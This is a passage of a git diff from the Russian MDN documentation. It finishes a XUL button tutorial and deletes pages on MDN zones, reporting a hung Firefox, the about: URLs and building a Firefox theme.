Класс стиля кнопки. Это работает так же, как и в HTML. Атрибут используется для указания стиля, в соответствии с которым будет выглядеть кнопка. В данном случает используется значение dialog. В большинстве случаев вы не будете использовать для кнопки этот атрибут.
label 
Текстовая метка, которая будет выведена на кнопке. Например, OK или Отмена. Если не указывать этот атрибут, на кнопке текста не будет.
image 
URL изображения, которое появится на кнопке. Если не указать данный атрибут, на кнопке не будет изображения. Вы также можете задать изображение в листе стилей (stylesheet) используя значение list-style-image.
disabled 
Если данный атрибут установлен в true, кнопка отключена. Как правило это обозначается серым цветом надписи на ней. Если кнопка отключена, то функции, вызываемые ею, не могут быть выполнены. Если данный атрибут отсутствует вообще, кнопка включена. Менять состояние кнопки на отключенное вы можете с помощью JavaScript.
accesskey 
Этот атрибут устанавливает букву, которая может использоваться для быстрого вызова функции кнопки. Эта буква должна быть в строке текстовой метки и, как правило, отображается подчеркнутой. Когда пользователь нажимает ALT (или клавишу с такой же функцией, которая может называться иначе на другой платформе) и данную букву доступа (accesskey), кнопка получает фокус ввода из любого положения в окне.
-
-

Заметьте, что кнопки поддерживают больше атрибутов, чем те, которые перечислены выше. Другие атрибуты будут описаны позже.

-

Несколько примеров кнопок

-

Example 1 : Исходный код Просмотреть

-
Image:buttons1.png
-
<button label="Normal"/>
-<button label="Disabled" disabled="true"/>
-
-

Примеры выше будут генерировать кнопки, показанные на рисунке. Первая кнопка - это обычная кнопка. Вторая кнопка отключена, поэтому текст на ней выводится серого цвета.

-

Начнем с создания простой кнопки поиска для утилиты поиска файлов. Пример кода ниже показывает, как это можно сделать.

-
<button id="find-button" label="Find"/>
-
-
Заметьте, что Firefox не позволяет вам открывать chrome окна с веб-страниц, поэтому ссылки Просмотра в руководстве откроются в обычном окнах браузера. Из-за этого кнопки появятся растянутыми на всю ширину окна. Вы можете добавить align="start" в тег окна, чтобы предотвратить такое растягивание.
-
-
Пример findfile.xul
-

Давайте добавим этот код в файл findfile.xul, который мы создали в предыдущей главе. Код необходимо вставить между тегами window. В листинге ниже добавляемый код выделен красным цветом:

-
<?xml version="1.0"?>
-<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
-<window id="findfile-window"
-        title="Find Files"
-        orient="horizontal"
-        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-
-  <button id="find-button" label="Find"/>
<button id="cancel-button" label="Cancel"/>

</window> -
-
Image:buttons2.png
-

Вы увидите, что также добавилась кнопка "Cancel". Окно имеет горизонтальное расположение, поэтому кнопки выводятся рядом друг с другом. Если вы откроете этот файл в Mozilla, вы увидите что-то подобное тому, что приведено на рисунке выше.

-
-

 

-
Заметьте, что мы не должны помещать текстовые метки непосредственно в XUL файл. Вместо этого мы будем использовать объекты, поэтому текст можно будет легко перевести на другой язык.
-

В следующей главе мы узнаем как добавлять метки и изображения в окно XUL.

-

См.также дополнительные возможности кнопок

-

-

diff --git a/files/ru/zones/index.html b/files/ru/zones/index.html deleted file mode 100644 index e79a409a98..0000000000 --- a/files/ru/zones/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Разделы -slug: Zones -translation_of: Zones ---- -

Разделы MDN обеспечивают легкий и быстрый, в один клик, доступ к информации, структурированной по темам и продуктам. Список всех разделов приведен ниже.

- -
-
-

Web и разработка приложений

- -
-
Центр приложений
-
Изучите как создавать открытые веб приложения, которые могут работать на множестве устройств различных типов, с помощью уже известных вам web-стандартов и открытых технологий.
-
Инструменты разработчика
-
Изучите как пользоваться инструментами разработчика Firefox, чтобы отлаживать, тестировать и оптимизировать ваши приложения и web-сайты.
-
Магазин Firefox
-
Открытый, не собственнический онлайн магазин для web-приложений, построенных с использованием HTML, CSS и JavaScript. Отправьте приложение в магазин Firefox или постройте свой собственный магазин.
-
Разработка игр
-
Узнайте как разрабатывать игры для web, портировать уже существующие игры на web-технологии и превращать их в web-приложения.
-
-
- -
-

Продукты и проекты

- -
-
Emscripten
-
Транслятор LLVM в JavaScript. Он позволяет скомпилировать, к примеру, исходный код на C++ в  JavaScript, который в дальнейшем может быть запущен в любом web-браузере.
-
L20n
-
JavaScript фреймворк для локализации приложений. Позволяет легко и быстро добавлять многоязычность и поддерживать ее с минимальными затратами на написание дополнительного кода.
-
Проект MDN
-
Mozilla Developer Network (где вы сейчас и находитесь) основывается на сообществе читателей и участников которые дополняют и улучшают ее. Здесь можно узнать как помочь использовать, дополнять и собирать исходный код, на котором работает MDN.
-
Персона
-
Это новая простая система единого входа (SSO - подробнее), ориентированая на защиту персональных данных. Разработаная Mozilla, она позволяет пользователям регистрироваться на различных сайтах с помощью единого адреса электронной почты, освобождая вас от запоминания и хранения множества различныхпаролей.
-
- -

Технологии Mozilla

- -
-
Плагины
-
Научитесь правильно собирать и устанавливать расширения, темы, и плагины для програмного обеспечания от Mozilla, включая популярный web-браузер Firefox.
-
Firefox
-
Изучите Firefox, начиная от его сборки и наладки и заканчивая сборкой его плагинов.
-
ОС Firefox
-
Новая мобильная операционная система, разработанная Mozilla. Она позволяет пользователям устанавливать и запускать приложения созданные с использованием технологий HTML, CSS, и JavaScript.
-
-
-
- -

 

diff --git "a/files/ru/\320\272\320\260\320\272_\321\201\320\276\320\276\320\261\321\211\320\270\321\202\321\214_\320\276_\320\267\320\260\320\262\320\270\321\201\321\210\320\265\320\274_firefox/index.html" "b/files/ru/\320\272\320\260\320\272_\321\201\320\276\320\276\320\261\321\211\320\270\321\202\321\214_\320\276_\320\267\320\260\320\262\320\270\321\201\321\210\320\265\320\274_firefox/index.html" deleted file mode 100644 index 1d0525a00c..0000000000 --- "a/files/ru/\320\272\320\260\320\272_\321\201\320\276\320\276\320\261\321\211\320\270\321\202\321\214_\320\276_\320\267\320\260\320\262\320\270\321\201\321\210\320\265\320\274_firefox/index.html" +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Как сообщить о зависшем Firefox -slug: Как_сообщить_о_зависшем_Firefox -tags: - - Firefox - - Guide - - Intermediate - - QA - - firefox завис - - firefox зависает - - зависания - - сообщение о зависании firefox - - сообщить о зависшем firefox -translation_of: Mozilla/How_to_report_a_hung_Firefox ---- -
-

Примечание: Эта статья предназначена для разработчиков и продвинутых пользователей. Если это не вы, или вы просто хотите избавиться от зависания Firefox'а, не сообщая о нём, см. Firefox «зависает» или не реагирует — как исправить.

-
- -

Ваш Firefox не реагирует на ввод?  Или вы часто видите сообщение типа «Firefox запущен, но не отвечает…»?  Обычно это означает, что что-то в Firefox'е зависло.  Это может быть ошибка в коде самого Firefox, например взаимная блокировка или бесконечный цикл, или может быть вызвано другим ПО, например расширением для Firefox, антивирусом, или даже вредоносным ПО или вирусом в вашем компьютере.

- -

Какую информацию включать в багрепорт

- - - -

Отправление отчёта о падении для зависшего Firefox'а

- -

Самый лёгкий способ помочь команде по обеспечению стабильности Firefox’а с отладкой таких зависаний — спровоцировать падение Firefox’а и отправить отчёт о падении (crash report).  Потом создайте багрепорт с идентификатором отчёта о падении.  Шаги для вызывания падения будут отличаться на каждой из платформ:

- -

Windows

- -

Для Windows, команда по обеспечению стабильности написала утилиту, которая will inject a crash into Firefox, что спровоцирует падение с запуском программы для отправки отчёта о падении: Скачайте crashfirefox.exe здесь (исходные тексты). Будучи запущенной, эта утилита найдёт процесс firefox.exe и заставит его упасть (inject crashing code into it).  У неё ещё есть опции командной строки для «убивания» процессов с другими именами или по идентификатору процесса.

- - - -

Linux и Mac

- -

На Linux и Mac (Firefox >=27), программа для отправки отчёта запустится, если отправить процессу SIGABRT.  Идентификатор процесса (PID) Firefox'а можно найти с помощью любого менеджера задач.

- -

Нахождение PID Firefox с помощью менеджера задач (скриншот с Linux).

- -

Потом, в терминале, прибейте процесс Firefox командой типа:

- -
# Замените 31042 PID'ом Firefox'а найденным выше.
-kill -n SIGABRT 31042
- - - -

Другие техники

- -

On OS X if you use a Nightly build (>= Firefox 16), you can use Activity Monitor's "Sample Process" feature to generate a sample. This won't produce useful results on a regular release/beta build.

- -

Вместо вызывания падения Firefox'а, более продвинутые разработчики, умеющие использовать отладчик, могут попробовать присоединиться к процессу Firefox'а для его отладки.  Это подходит только при наличии у вас отладочных символов для Firefox'а, которые доступны для Windows на сервере отладочных символов Mozilla.

diff --git "a/files/ru/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273_about_colon_/index.html" "b/files/ru/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273_about_colon_/index.html" deleted file mode 100644 index 55cc489f95..0000000000 --- "a/files/ru/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273_about_colon_/index.html" +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: 'Протокол about:; информация о Firefox' -slug: 'протокол_about:' -tags: - - Firefox - - Протоколы -translation_of: Mozilla/Firefox/The_about_protocol ---- -
{{FirefoxSidebar}}

За протоколом URL about: скрыто много полезной информации о Firefox. Самый полезный URL — about:config, показывающий настройки, которые можно смотреть и изменять. Вот полный список URL'ов с псевдо-протоколом about::

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
about:-страницаОписание
about:Показывает информацию о версии и сборке, а также ссылки на список участников проекта, информацию о лицензии и конфигурации сборки.
about:aboutОбзор всех страниц about:
about:accountsИспользуется функцией Синхронизации
about:addonsУправление дополнениями
about:app-managerУправление приложениями
about:buildconfigПоказывает конфигурацию и платформу, которые использовались для сборки Firefox
about:cacheИнформация о кэше в ОЗУ, дисковом кэше и appcache
about:compartmentsТам была информация о compartments; с версии 26 она в разделе «Other Measurements» about:memory.
about:configСпособ просмотра и изменения настроек Firefox
about:crashesСписок падений, случившихся за время работы Firefox (если пользователь включил программу для сообщения о падениях)
about:creditsСписок участников проекта Firefox
about:customizingВключает страницу настройки интерфейса Firefox
about:downloadsПоказывает загрузки файлов, сделанные с помощью Firefox
about:healthreportОтчёт о производительности Firefox (если включена отправка Отчёта о работоспособности)
about:homeНачальная страница Firefox при открытии нового окна
about:licenseИнформация о лицензировании
about:logoЛоготип Firefox
about:memoryСпособ вывода информации об использовании памяти, сохранения её в виде отчёта, и запуска GC и CC
about:mozillaОсобая страница с сообщением из «Книги Mozilla»
about:networkingИнформация о сети
about:newtabНачальная страница, используемая при открытии новой вкладки
about:permissionsСпособ просмотра и управления разрешениями для сайтов
about:pluginsИнформация об установленных плагинах
about:preferencesНастройки Firefox (доступны также через меню Firefox > Настройки)
about:privatebrowsingНачальная страница при открытии приватного окна
about:rightsИнформация о ваших правах
about:robotsОсобая страница с заметками о роботах
about:sessionrestoreВосстановление сессии (открывается после падения Firefox)
about:supportИнформация для решения проблем (доступна также из меню Справка или меню Firefox > ? (вопросительный знак) > Информация для решения проблем)
about:sync-logDisplays a synchronization protocol related to the Sync feature
about:sync-progressПоказывается по завершении настройки функции Sync
about:sync-tabsLists tabs available for synchronization related to the Sync feature
about:telemetryДанные телеметрии, собираемые и отправляемые к Mozilla при работе Firefox'а (если телеметрия включена)
about:webrtcИнформация об использовании WebRTC
about:welcomebackИнформационная страница, открываемая после очистки Firefox
- -

Эти URL'ы определены в /source/docshell/base/nsAboutRedirector.cpp в массиве kRedirMap.  Массив отображает большую часть этих URL'ов, например config, на URL'ы с псевдо-протоколом chrome:, например "chrome://global/content/config.xul".  The about location information is duplicated in source/docshell/build/nsDocShellModule.cpp.

diff --git "a/files/ru/\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html" "b/files/ru/\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html" deleted file mode 100644 index ef06545e60..0000000000 --- "a/files/ru/\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html" +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Расширения -slug: Расширения -tags: - - Расширения -translation_of: Mozilla/Add-ons ---- -
Создание расширения
-Пошаговое руководство по созданию расширения для Firefox.
-

Расширения — это небольшие дополнения (add-on), добавляющие новые функциональные возможности приложениям Mozilla, таким как Firefox и Thunderbird. С их помощью в приложение можно добавить что угодно, от кнопки на панели инструментов до совершенно новой функции. Они позволяют настраивать приложения в соответствии с личными потребностями каждого пользователя, которому могут понадобиться дополнительные функциональные возможности, сохраняя при этом небольшой размер приложений для упрощения его загрузки.

-

Расширения по своему назначению отличаются от плагинов, которые позволяют браузеру отображать особые виды контента, например, проигрывать мультимедийные файлы. Также расширения отличаются и от поисковых плагинов, которые подключают дополнительные поисковые механизмы к панели поиска.

- -

Документация

Создание расширения
Объясняется, как шаг за шагом создать расширение для Firefox.
FAQ по расширениям
Основные вопросы и ответы по разработке расширений.
Настройка среды разработки расширений
Несколько советов о том, как сделать разработку расширений проще.
en:Extension Packaging
How to package your Firefox extension for downloading and installation.
en:Creating Custom Firefox Extensions with the Mozilla Build System
How to set up the build environment for an extension that makes use of binary components.
en:Adapting XUL Applications for Firefox 1.5
A list of changes in Firefox 1.5 that affect XUL developers.
XPCNativeWrapper
Обёртка (wrapper) над объектом, которая ограничивает доступ к его свойствам и методам, обеспечивая безопасную работу с методами объекта, описанными на языке IDL.
en:Code snippets
Code commonly used by many extensions. See also articles in Категория:Расширения for more examples.

View All...

Сообщество

  • View Mozilla forums...

{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}

Инструменты

View All...

См. также

XUL, JavaScript, XPCOM, Themes, Developing Mozilla
-

{{ languages( { "de": "de/Erweiterungen", "en": "en/Extensions", "es": "es/Extensiones", "fr": "fr/Extensions", "it": "it/Estensioni", "ja": "ja/Extensions", "ko": "ko/Extensions", "pl": "pl/Rozszerzenia", "pt": "pt/Extens\u00f5es", "zh-cn": "cn/\u6269\u5c55" } ) }}

diff --git "a/files/ru/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\202\320\265\320\274\321\213/index.html" "b/files/ru/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\202\320\265\320\274\321\213/index.html" deleted file mode 100644 index 632cd73405..0000000000 --- "a/files/ru/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\202\320\265\320\274\321\213/index.html" +++ /dev/null @@ -1,271 +0,0 @@ ---- -title: Создание темы -slug: Создание_темы -tags: - - NeedsUpdate - - Создание темы -translation_of: Archive/Themes/Building_a_Theme ---- -

Введение

- -

Это руководство проведет вас через шаги, необходимые, чтобы создать очень простую тему - ту, которая обновляет фоновый цвет панелей инструментов в Firefox.

- -
-

Примечание: Это руководство о создании тем для Firefox 29 и более поздних версий. Другие руководства существуют для создания тем для более ранних версий Firefox. Для старшего руководства, смотрите Создание скина для Firefox.

-
- -
-

Примечание: В Firefox для Mac OS X изменились некоторые директории, так что руководство может быть устаревшим.

-
- -
-

Настройка среды разработки

- -

Темы и расширения упакованы и распределены в ZIP файлах или Пакетах, с расширением XPI (произносится как "zippy").

- -

Пример содержимого в типичном XPI файле для темы:

- -
example.xpi:
-              /install.rdf
-              /chrome.manifest
-              /preview.png
-              /icon.png
-              /chrome/
-                     browser/
-                     communicator/
-                     global/
-                     mozapps/
-
-
- -

Мы хотим создать файловую структуру аналогичную описанные структуре выше, так что давайне начнем с создания папки для вышей темы где-нибудь на вашем жестком диске (например C:\themes\my_theme\ или ~\themes\my_theme\). Внутри вашей новой папки для темы, создайте два пустых текстовых файла, один из них назовите chrome.manifest , а другой install.rdf. Файл preview.png отображается, как превью темы в панели тем в окне дополнений. Файл icon.png используется как инока в той же панели. Оставим оба из них сейчас, если вы уже выбрали что-то, что хотели использовать бы.

- -

Остальные директории будут извлечены из темы по умолчанию. Во-первых, вы захотите создать где-нибудь каталог. Скопируйте ваши установки omni.ja в этот каталог. Расположение будет отличаться для различных операционных систем:

- -

Linux: /usr/lib/MozillaFirefox/chrome/classic.ja or /usr/lib/firefox-*.*.*/omni.ja

- -

Windows: \Program Files\Mozilla Firefox\omni.ja

- -

Mac OS X: /Applications/Firefox.app/Contents/MacOS/omni.ja

- -

Теперь откройте (или распакуйте) этот файл в директорию, которую вы создали. Он содержит несколько папок, модули, jssubloader и другие. Файлы мы будем вынуждены расположить в папке chrome\toolkit\skin\classic.

- -

Создайте папку с именем хром в папке вашей темы. Далее, содержимое следующих каталогов расположите в соответствующие папки.

- -
    -
  1. global to chrome/global
  2. -
  3. mozapps to chrome/mozapps
  4. -
- -

Теперь, когда вы скопировали папки global и mozapps, необходимы несколько других папок из browser/omni.ja archive. Они находится в папке браузера, в указанном выше месте. Файлы нам будут нужны чтобы browser/omni.ja archive расположить под chrome/browser/skin/classic.

- -

Скопируйте содержимое из следующих каталогов в соответствующие папки. Это даст нам базовый набор стилей для работы с.

- -
    -
  1. browser to chrome/browser/
  2. -
  3. communicator to chrome/communicator/
  4. -
- -

Вы должны закончить с такой структурой каталогов:

- -
<ext path>/
-          /install.rdf
-          /chrome.manifest
-          /chrome/
-                 browser/
-                 communicator/
-                 global/
-                 mozapps/
-
- -

После этого, было бы замечательно прочитать статью Setting up extension development environment и следовать её инструкциям. Это особенно важно для установки DOM Inspector, который мы будем использовать в последующих стадиях.

-
- -
-

Создание инсталяции

- -

Откройте файл с именем install.rdf, который вы создали в верхней части вашей иерархии папок расширений и поместите это внутри:

- -
<?xml version="1.0"?>
-
-<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
-
-  <Description about="urn:mozilla:install-manifest">
-    <em:id>sample@example.net</em:id>
-    <em:version>1.0</em:version>
-    <em:type>4</em:type>
-
-    <!-- Target Application this theme can install into,
-         with minimum and maximum supported versions. -->
-    <em:targetApplication>
-      <Description>
-        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
-        <em:minVersion>29.0</em:minVersion>
-        <em:maxVersion>39.*</em:maxVersion>
-      </Description>
-    </em:targetApplication>
-
-    <!-- Front End MetaData -->
-    <em:name>My Theme</em:name>
-    <em:internalName>sample</em:internalName>
-    <em:description>A test extension</em:description>
-    <em:creator>Your Name Here</em:creator>
-    <em:homepageURL>http://www.example.com/</em:homepageURL>
-  </Description>
-</RDF>
-
- -
    -
  • sample@example.net - ID из разширения. Это значение, которое вы придумали, чтобы определить ваш добавочный номер в формате адреса электронной почты (обратите внимание, что это не должна быть ваша электронная почта). Сделайте его уникальным. Кроме того, можно использовать GUID. Примечание: Этот параметр должен быть в формате адреса электронной почты, хотя он и не должен быть действительным адресом электронной почты. (example.example.example)
  • -
  • 4 - тип дополнения. '4' заявляет, что она устанавливает тему. Если вы должны были установить расширение было бы 2 (смотрите Install Manifests#type для других типов кода).
  • -
  • {ec8030f7-c20a-464f-9b0e-13a3a9e97384} - Firefox's заявление ID.
  • -
  • 29.0 - точный номер самой ранней версии Firefox, которую вы указываете, для работы расширения. Никогда не используйте * в minVersion, это почти наверняка не будет делать то, что вы ожидаете от него.
  • -
  • 39.* - самая последняя версия Firefox, которую вы указываете, для работы расширения. Указанная версия должна быть не выше, чем новейшая версия доступная в настоящее время! В этом случае, "39.*" указывает на то, что расширение работает с Firefox 39 и любым последующим 39.x выпуском. Темы совместимы по умолчанию, если не установлен строгий режим совместимости для вашей темы.
  • -
- -

Если вы получаете сообщение о том, что install.rdf деформирован, полезно загрузить его в Firefox с помощью команды File->Open File и он сообщит вам XML ошибки.

- -

See Install Manifests for a complete listing of the required and optional properties.

- -

Сохраните файл.

-
- -
-

Стилизация браузеров UI с CSS

- -

Firefox's пользовательский интерфейс написан на XUL и JavaScript. XUL является XML грамматика, которая обеспечивает виджеты пользовательского интерфейса, такие как кнопки, меню, панели инструментов, деревья и т.д. Действия пользователя связаны с функциональными возможностями, используя JavaScript. Эти XUL элементы оформлены с использованием CSS. Если вы не знаете CSS, это будет шаг в сторону от обучения, используйте HTML-based обучающие программы, чтоб знать хотябы на уровне новичка .

- -

Браузер UI, сам по себе не имеет абсолютно никакого стиля - если вы пытаетесь начать с пустой темы, Firefox будет непригодным для использования, в качестве элементов, кнопок, будет отображен обычный текст. Именно поэтому мы скопировали стили по умолчанию на этапе установки.

- -

При написании темы, самый простой способ определить, какие CSS селекторы вам нужно написать, используйте DOM Inspector, который вы должны быть установлен, на этапе установки. Он используется, чтобы проверить любой элемент на веб-странице или XUL документе, что делает его бесценным для темы.

- -

Обновление Стилизация панели инструментов

- -
-

Примечание: В Firefox 4.0 и выше, основная способность DOM Inspector не работает. Чтобы обойти это, отключить аппаратное ускорение в Options Firefox '.

-
- -

Откройте DOM Inspector ( он находится в меню "Сервис"), и перейдите в раздел "Файл-> Проверить Chrome документ". вы попадете в меню, содержащее все документы XUL открытые в данный момент в Firefox.
- Выберите первый документ с заголовком веб-страницы, как "Firefox Start Page" и выберите его.

- -

Для этого урока мы будем обновлять цвет фона панели инструментов. Выберите инструмент в узле обнаружения (стрелка плюс квадрат в верхнем левом углу DOM Inspector), и нажмите на любое неиспользуемое пространство на панели инструментов. Это должно выбрать узел типа "xul:toolbar" в DOM Inspector.

- -

Сдесь вы можете поиграть с различными стилистиками для панели инструментов и связанных с ними элементов. По умолчанию правая панель должна показать  DOM как узел, который имеет полезную информацию по созданию стиля как CSS класс и идентификатор узла. Элемент имеющий идентификатор navigator-toolbox, не имеет идеи. Для того, чтобы изменить стиль в вашей теме, вы должны написать правило выбора, чтобы выбрать этот класс.

- -

Откройте файл chrome/browser/browser.css в вашей теме. Найдите тот файл для селектора  #navigator-toolbox, и добавьте background: orange; правило к ней.

- -

Сохраните файл.

-
- -
-

Chrome URIs

- -

Далее, вы указываете Firefox, где найти файлы  для вашей темы. CSS, XUL, и другие файлы являются частью "Chrome Packages" - расслоения компонентов пользовательского интерфейса, которые загружаются с помощью chrome:// URIs. Вместо того, чтобы загрузить браузер с диска с помощью file:// URI (так как местоположение Firefox в системе может меняться от платформы к платформе и от системы к системе), разработчики Mozilla придумали решение для создания URI, с содержимым известным установленной надстройке.

- -

Окно браузера: chrome://browser/content/browser.xul. Попробуйте ввести этот URL в адресной строке в Firefox!

- -

Chrome URIs состоят из нескольких компонентов:

- -
    -
  • Во-первых, URI scheme (chrome), который говорит сетевым библиотекам Firefox's, что это Chrome URI, что указывает на то, что содержание URI должны быть обработанно как (chrome). Приравниваем (chrome) к (http), который указывает Firefox рассматривать URI, как веб-страницу.
  • -
  • Во-вторых, имя пакета (в приведенном выше примере, browser) который идентифицирует пакет компонентов пользовательского интерфейса.
  • -
  • В-третьих, тип запрашиваемых данных. Есть три типа: content (XUL, JavaScript, XBL bindings, etc. которые формируют структуру и поведение приложения UI), locale (DTD, .properties files etc, которые содержат строки для UI's localization), и skin (CSS и изображения, которые формируют theme из UI)
  • -
  • И, наконец, путь к файлу для загрузки.
  • -
- -

Так, chrome://foo/skin/bar.png загружает файл bar.png из тем foo раздела skin.

- -

При загрузке контента с помощью Chrome URI, Firefox использует Chrome реестр, чтобы перевести идентификаторы URI в исходные файлы на диск (или в пакет JAR).

-
- -
-

Создание Chrome Manifest

- -

Chrome Manifest это файл, показывающий путь для URI Chrome к файлам вашей темы. Для получения дополнительной информации о Chrome Manifest и свойствах, которые они поддерживают, см Chrome Manifest справка.

- -

Откройте файл под названием chrome.manifest вами создан бок о бок chrome каталог в корне расширений источника папки иерархии

- -

Добавьте в этом коде:

- -
skin    browser         sample   chrome/browser/
-skin    communicator    sample   chrome/communicator/
-skin    global          sample   chrome/global/
-skin    mozapps         sample   chrome/mozapps/
-
- -

Не забывайте слэш, "/"! Без него пакет не будет зарегистрирован. Третий столбец должен соответствовать значению internalName вашей темы от установки манифеста выше.

- -

Это карта каталога мест внутри вашей темы. Например, линия skin browser sample skin/browser/ означает "когда пользователь выбирая тему, использует каталог browser/ чтобы посмотреть скины пакета browser." Более сжато, это означает, что URL chrome://browser/skin/some/path/file.css будет искать файл browser/some/path/file.css в корневом каталоге вашей темы,.

- -

Сохраните файл.

-
- -
-

Тест

- -

Во-первых, вы должны сообщить Firefox о вашей теме. На стадии разработки для Firefox версии 2.0 и выше, вы можете указать Firefox на папку в которой вы разрабатываете тему, и она будет загружать её каждый раз при перезагрузке Firefox.

- -
    -
  1. Разместить свою profile folder и под ней профиль, с которым вы хотите работать (e.g. Firefox/Profiles/<profile_id>.default/).
  2. -
  3. Откройте папку extensions/ , создайте при необходимости.
  4. -
  5. Создайте новый текстовый файл и укажите полный путь к папке развития внутри (e.g. C:\themes\my_theme\ or ~/themes/my_theme/). Пользователям Windows, следует сохранить направление слэш OS' ,  все должны помнить включать закрывающий слэш и удалить любые пробелы в конце строки.
  6. -
  7. Сохраните файл с идентификатором вашей темы, как его имя (e.g. sample@example.net). Нет Расширение файла.
  8. -
- -

Теперь вы готовы проверить вашу тему!

- -

Запустите Firefox. Firefox обнаружит текстовую ссылку на директорию темы и установит тему. Ваша тема не будет активена в первый раз после установки, и вам нужно будет нажать кнопку "Включить" и перезапустить, прежде чем вы увидите изменения. После перезапуска, это во второй раз, вы должны увидеть цвет фона панелей инструментов, который  отображается оранжевым цветом.

- -

Теперь вы можете вернуться назад и внести дополнительные изменения в ваши CSS файлы, закройте и перезапустите Firefox, и увидите обновления.

-
- -
-

Пакет

- -

Теперь, когда ваша тема работает, вы можете package это для развертывания и установки.

- -

Zip вверх по содержанию папки вашей темы (не тема сама папка), и переименовать zip файл, чтобы иметь .xpi расширение.В операционной системе Windows, вы можете сделать это легко, выбрав все файлы и вложенные папки в папке расширения, щелкните правой кнопкой мыши и выберите "Send To -> Compressed (Zipped) Folder".  .Zip файл будет создан для вас. Просто переименуйте его, и вы это сделали!

- -

В Mac OS или Linux, вы можете использовать командную строку zip tool:

- -
zip -r my_theme.xpi install.rdf chrome.manifest browser communicator global mozapps
-
- -

Или, если у вас установлен 7-Zip, вы можете использовать его для архивирования:

- -
7z a -tzip my_theme.xpi chrome chrome.manifest
-
- -

Заметка: инструмент командной строки будет обновлять существующий архив, не заменив его - так что если вы имеете файлы, которые вы удалили из вашей темы, обязательно удалите .xpi файл перед повторным запуском команды архиватора.

- -

Теперь загружаем .xpi файл на сервер, убедившись, что он служит как application/x-xpinstall. Вы можете связаться с ним и дать людям возможность скачать и установить его. Для целей тестирования только своего .xpi, файл можно просто перетащить в менеджер дополнений через "Tools -> Add-ons Manager", либо открыть и использовать "File -> Open File...".

- -
-
Установка с веб-страницы
- -

Есть множество способов, которыми можно установить расширения с веб-страниц, в том числе по прямой связи с файлами XPI и использование объекта InstallTrigger. Создателям расширений и веб-авторам рекомендуется использовать InstallTrigger method чтобы установить XPIS, поскольку он обеспечивает лучший опыт для пользователей.

-
- -
-
С помощью addons.mozilla.org
- -

Дополнения Mozilla распределит на сайты, где вы можете разместить свою тему бесплатно. Ваша тема будет размещен на зеркале сети Mozilla, чтобы гарантировать загрузку, даже если это может быть очень популярным. сайт Mozilla также предоставляет пользователям более легкую установку, и автоматически сделает ваши новые версии доступными пользователям существующих версий при их загрузке. Кроме того, Дополнения Mozilla позволяет пользователям комментировать и обеспечить обратную связь по вашей теме. Настоятельно рекомендуется использовать Дополнения Mozilla, чтобы распространять свои темы!

- -

Посетите https://addons.mozilla.org/developers/ чтобы создать учетную запись и начать распространять свои темы!

- -

Заметка: Ваша тема будет передаваться быстрее и будет больше загруженна, если у вас есть хорошее описание и несколько скриншотов темы в действии.

-
-
- -
-
- - -

______________________________

-
-
- -

 

-- cgit v1.2.3-54-g00ecf